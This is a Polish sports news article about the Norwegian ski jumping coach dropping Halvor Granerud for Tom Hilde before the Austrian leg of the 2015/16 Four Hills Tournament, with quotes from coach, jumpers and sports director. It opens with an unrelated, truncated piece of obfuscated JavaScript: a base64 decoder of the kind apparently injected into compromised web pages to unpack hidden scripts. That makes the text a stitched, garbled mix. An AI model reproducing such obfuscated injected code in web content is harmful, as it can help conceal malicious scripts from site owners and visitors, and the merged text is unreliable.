function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0
Tom Hilde jest już w Austrii i czeka na jutrzejszą rywalizację. Informację o powołaniu na austriacką część Turnieju Czterech Skoczni otrzymał jeszcze w minionym, 2015 roku - 29 grudnia po konkursie w Oberstdorfie, w którym 19-letni Granerud jako jedyny z podopiecznych Stoeckla nie zdołał zakwalifikować się do drugiej rundy, zajmując odległe, 46. miejsce. - Okazało się, że Halvor nie jest w tak dobrej formie, by rywalizować w PŚ, dlatego uznaliśmy, że w Innsbrucku i Bischofschofen wystartujemy z Tomem - wytłumaczył Stoeckl. Dla młodego Norwega, który wywalczył dla swojej reprezentacji dodatkowe miejsce w PŚ dzięki solidnym występom w Pucharze Kontynentalnym, decyzja szkoleniowca o powrocie do domu była niemałym zaskoczeniem, zwłaszcza że Austriak nie przekazał mu jej po konkursie na Schatenberschanze, ale w Garmisch-Partenkirichen i to... na skoczni, pomiędzy pierwszą a finałową serią.
- Nie sądzę, by to miało wpływ na jego wynik, niemniej jednak wiem, że na pewno był bardzo rozczarowany - przyznał Stoeckl, tłumacząc jednocześnie, że podejmując decyzję, kierował się dobrem drużyny. - Musiałem dokonać wyboru, który będzie najlepszy dla całej kadry, a Tom prezentował się znacznie lepiej, gdy startował wcześniej w Pucharze Świata - wyjaśnił. Ponieważ skoczkowie z Kraju Wikingów aspirują do zwycięstwa w Pucharze Narodów, istotne są dla nich punkty każego kolegi. Nie zamyka to jednak drogi Graneruda do powrotu do zmagań najwyższej rangi, choćby już w kolejnych zawodach w Willingen (9-10 stycznia). 19-latek z pewnością czeka na możliwość udowodnienia swojej wartości. - Czucie miałem dobre, a jednak skoki nie były takie, jakich oczekiwałem - przyznał rozczarowany po zakończeniu swojej przygody z TCS.
Sam Tom Hilde, który zwyciężył w ostatnich zawodach PK na Gross-Titlis-Schanze nie ukrywa radości z powrotu, jednak nie jest pewny, na co go stać. - Ważne, żebym nie chciał zrobić więcej, niż potrafię. Przed Świętami, w PŚ w Engelbergu, byłem bardzo zadowolony ze swoich skoków, ale wciąż muszę pracować, by w konkursach oddawać naprawdę dobre próby - to mój cel - mówi skoczek, który w Szwajcarii zajął 17. i 24. miejsce.
Z szerokiego kadrowego zaplecza, jakim dysponują norweskie skoki, cieszy się dykretor sportowy Clas Brade Braathen. - Mieliśmy ośmiu skoczków w Garmisch, a kolejnego, który jest w stanie rywalizować, w domu. To pokazuje ogromną siłę naszych reprezentantów - mówi, tłumacząc, dlaczego Granerud został wybrany do składu na pierwszą część TCS. - Od kilku lat mamy taką praktykę, że dodatkowe miejsce dostaje ten skoczek, który je wywalczył. To doświadczenie, które zdobył w Oberstdorfie i Ga-Pa, może być dla nas dobrą inwestycją - zakończył Braathen.
źródło: nettavisen.no / tv2.no / aftenbladet.no